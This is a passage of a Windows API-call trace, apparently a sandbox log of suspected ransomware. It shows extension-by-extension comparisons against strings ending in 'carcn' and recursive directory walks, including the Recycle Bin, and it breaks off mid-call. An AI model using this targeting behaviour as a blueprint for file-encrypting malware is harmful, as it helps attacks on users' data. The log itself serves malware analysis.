lstrlenW (lpString=".nef") returned 4 [0251.797] lstrcmpiW (lpString1=".nef", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".nrw") returned 4 [0251.797] lstrcmpiW (lpString1=".nrw", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".obj") returned 4 [0251.797] lstrcmpiW (lpString1=".obj", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".odb") returned 4 [0251.797] lstrcmpiW (lpString1=".odb", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".odc") returned 4 [0251.797] lstrcmpiW (lpString1=".odc", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".odm") returned 4 [0251.797] lstrcmpiW (lpString1=".odm", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".odp") returned 4 [0251.797] lstrcmpiW (lpString1=".odp", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".ods") returned 4 [0251.797] lstrcmpiW (lpString1=".ods", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".oft") returned 4 [0251.797] lstrcmpiW (lpString1=".oft", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".one") returned 4 [0251.797] lstrcmpiW (lpString1=".one", lpString2="arcn") returned -1 [0251.797] lstrlenW (lpString=".onepkg") returned 7 [0251.797] lstrcmpiW (lpString1=".onepkg", lpString2="].carcn") returned -1 [0251.797] lstrlenW (lpString=".onetoc2") returned 8 [0251.798] lstrcmpiW (lpString1=".onetoc2", lpString2="m].carcn") returned -1 [0251.798] lstrlenW (lpString=".opt") returned 4 [0251.798] lstrcmpiW (lpString1=".opt", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".oqy") returned 4 [0251.798] lstrcmpiW (lpString1=".oqy", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".orf") returned 4 [0251.798] lstrcmpiW (lpString1=".orf", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".p12") returned 4 [0251.798] lstrcmpiW (lpString1=".p12", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".p7b") returned 4 [0251.798] lstrcmpiW (lpString1=".p7b", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".p7c") returned 4 [0251.798] lstrcmpiW (lpString1=".p7c", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".pam") returned 4 [0251.798] lstrcmpiW (lpString1=".pam", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".pbm") returned 4 [0251.798] lstrcmpiW (lpString1=".pbm", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".pct") returned 4 [0251.798] lstrcmpiW (lpString1=".pct", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".pcx") returned 4 [0251.798] lstrcmpiW (lpString1=".pcx", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".pdd") returned 4 [0251.798] lstrcmpiW (lpString1=".pdd", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".pdf") returned 4 [0251.798] lstrcmpiW (lpString1=".pdf", lpString2="arcn") returned -1 [0251.798] lstrlenW (lpString=".pdp") returned 4 [0251.798] lstrcmpiW (lpString1=".pdp", lpString2="arcn") returned -1 [0251.799] lstrlenW (lpString=".pef") returned 4 [0251.799] lstrcmpiW (lpString1=".pef", lpString2="arcn") returned -1 [0251.799] lstrlenW (lpString=".pem") returned 4 [0251.799] lstrcmpiW (lpString1=".pem", lpString2="arcn") returned -1 [0251.799] lstrlenW (lpString=".pff") returned 4 [0251.799] lstrcmpiW (lpString1=".pff", lpString2="arcn") returned -1 [0251.799] lstrlenW (lpString=".pfm") returned 4 [0251.799] lstrcmpiW (lpString1=".pfm", lpString2="arcn") returned -1 [0251.799] lstrlenW (lpString=".pfx") returned 4 [0251.799] lstrcmpiW (lpString1=".pfx", lpString2="arcn") returned -1 [0251.799] lstrlenW (lpString=".pgm") returned 4 [0251.799] lstrcmpiW (lpString1=".pgm", lpString2="arcn") returned -1 [0251.799] lstrlenW (lpString=".php") returned 4 [0251.799] lstrcmpiW (lpString1=".php", lpString2="arcn") returned -1 [0251.799] lstrlenW (lpString=".php3") returned 5 [0251.799] lstrcmpiW (lpString1=".php3", lpString2="carcn") returned -1 [0251.799] lstrlenW (lpString=".php4") returned 5 [0251.799] lstrcmpiW (lpString1=".php4", lpString2="carcn") returned -1 [0251.799] lstrlenW (lpString=".php5") returned 5 [0251.799] lstrcmpiW (lpString1=".php5", lpString2="carcn") returned -1 [0251.799] lstrlenW (lpString=".phtml") returned 6 [0251.799] lstrcmpiW (lpString1=".phtml", lpString2=".carcn") returned 1 [0251.799] lstrlenW (lpString=".pict") returned 5 [0251.799] lstrcmpiW (lpString1=".pict", lpString2="carcn") returned -1 [0251.799] lstrlenW (lpString=".pl") returned 3 [0251.799] lstrcmpiW (lpString1=".pl", lpString2="rcn") returned -1 [0251.799] lstrlenW (lpString=".pls") returned 4 [0251.800] lstrcmpiW (lpString1=".pls", lpString2="arcn") returned -1 [0251.800] lstrlenW (lpString=".pm") returned 3 [0251.800] lstrcmpiW (lpString1=".pm", lpString2="rcn") returned -1 [0251.800] lstrlenW (lpString=".png") returned 4 [0251.800] lstrcmpiW (lpString1=".png", lpString2="arcn") returned -1 [0251.800] lstrlenW (lpString=".pnm") returned 4 [0251.800] lstrcmpiW (lpString1=".pnm", lpString2="arcn") returned -1 [0251.800] lstrlenW (lpString=".pot") returned 4 [0251.800] lstrcmpiW (lpString1=".pot", lpString2="arcn") returned -1 [0251.800] lstrlenW (lpString=".potm") returned 5 [0251.800] lstrcmpiW (lpString1=".potm", lpString2="carcn") returned -1 [0251.800] lstrlenW (lpString=".potx") returned 5 [0251.800] lstrcmpiW (lpString1=".potx", lpString2="carcn") returned -1 [0251.800] lstrlenW (lpString=".ppa") returned 4 [0251.800] lstrcmpiW (lpString1=".ppa", lpString2="arcn") returned -1 [0251.800] lstrlenW (lpString=".ppam") returned 5 [0251.800] lstrcmpiW (lpString1=".ppam", lpString2="carcn") returned -1 [0251.800] lstrlenW (lpString=".ppm") returned 4 [0251.800] lstrcmpiW (lpString1=".ppm", lpString2="arcn") returned -1 [0251.800] lstrlenW (lpString=".pps") returned 4 [0251.800] lstrcmpiW (lpString1=".pps", lpString2="arcn") returned -1 [0251.800] lstrlenW (lpString=".ppsm") returned 5 [0251.800] lstrcmpiW (lpString1=".ppsm", lpString2="carcn") returned -1 [0251.800] lstrlenW (lpString=".ppt") returned 4 [0251.800] lstrcmpiW (lpString1=".ppt", lpString2="arcn") returned -1 [0251.801] lstrlenW (lpString=".pptm") returned 5 [0251.801] lstrcmpiW (lpString1=".pptm", lpString2="carcn") returned -1 [0251.801] lstrlenW (lpString=".pptx") returned 5 [0251.801] lstrcmpiW (lpString1=".pptx", lpString2="carcn") returned -1 [0251.801] lstrlenW (lpString=".prn") returned 4 [0251.801] lstrcmpiW (lpString1=".prn", lpString2="arcn") returned -1 [0251.801] lstrlenW (lpString=".ps") returned 3 [0251.801] lstrcmpiW (lpString1=".ps", lpString2="rcn") returned -1 [0251.801] lstrlenW (lpString=".psb") returned 4 [0251.801] lstrcmpiW (lpString1=".psb", lpString2="arcn") returned -1 [0251.801] lstrlenW (lpString=".psd") returned 4 [0251.801] lstrcmpiW (lpString1=".psd", lpString2="arcn") returned -1 [0251.801] lstrlenW (lpString=".pst") returned 4 [0251.801] lstrcmpiW (lpString1=".pst", lpString2="arcn") returned -1 [0251.801] lstrlenW (lpString=".ptx") returned 4 [0251.801] lstrcmpiW (lpString1=".ptx", lpString2="arcn") returned -1 [0251.801] lstrlenW (lpString=".pub") returned 4 [0251.801] lstrcmpiW (lpString1=".pub", lpString2="arcn") returned -1 [0251.801] lstrlenW (lpString=".pwm") returned 4 [0251.801] lstrcmpiW (lpString1=".pwm", lpString2="arcn") returned -1 [0251.801] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.801] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.802] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0251.802] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0251.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0251.803] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0251.803] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0251.804] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.805] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0251.805] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0251.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0251.806] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 0 [0251.806] FindClose (in: hFindFile=0x65ad90 | out: hFindFile=0x65ad90) returned 1 [0251.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0251.806] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x3f7fcf8 | out: lpFindFileData=0x3f7fcf8) returned 1 [0251.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44d0728 [0251.806] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 0x65ad90 [0251.806] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.806] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0251.806] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0xffffffff [0251.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0251.807] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0251.807] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0251.807] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.807] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.807] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.807] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0251.807] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0251.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0251.808] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 0 [0251.808] FindClose (in: hFindFile=0x65ad90 | out: hFindFile=0x65ad90) returned 1 [0251.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0251.808] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x3f7fcf8 | out: lpFindFileData=0x3f7fcf8) returned 1 [0251.808] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x3f7fcf8 | out: lpFindFileData=0x3f7fcf8) returned 1 [0251.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44d0728 [0251.808] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 0x65ad90 [0251.808] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.808] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0251.808] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0251.809] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.809] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.810] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.810] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0251.810] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0251.810] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0251.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0251.811] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0251.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0251.811] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.071] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.071] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.072] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.072] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.072] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.072] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.073] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.073] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.073] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.074] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.074] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.074] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.074] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.074] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.075] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.075] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.076] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.076] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.076] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.077] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.077] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.077] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.077] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.077] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.077] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.078] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.078] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.078] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.078] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.079] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.079] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.079] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.080] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.080] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.080] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.081] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.081] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.081] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.081] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.082] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.082] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.082] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.082] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.082] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.082] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.083] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.083] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.083] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.084] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.084] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.085] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.085] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.085] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.085] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.086] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.086] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.086] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.087] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.087] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.087] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.087] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.087] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.088] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.088] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.088] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.089] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.089] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.090] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.090] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.090] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.090] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.090] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.090] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.091] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.091] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.091] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.092] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.092] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.093] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.093] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.093] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.093] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.093] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.094] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.094] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.094] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.095] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.095] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.095] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.096] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.096] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.096] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.097] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.097] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.097] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.098] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.098] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.098] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.098] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.099] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.099] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.100] FindNextFileW (in: 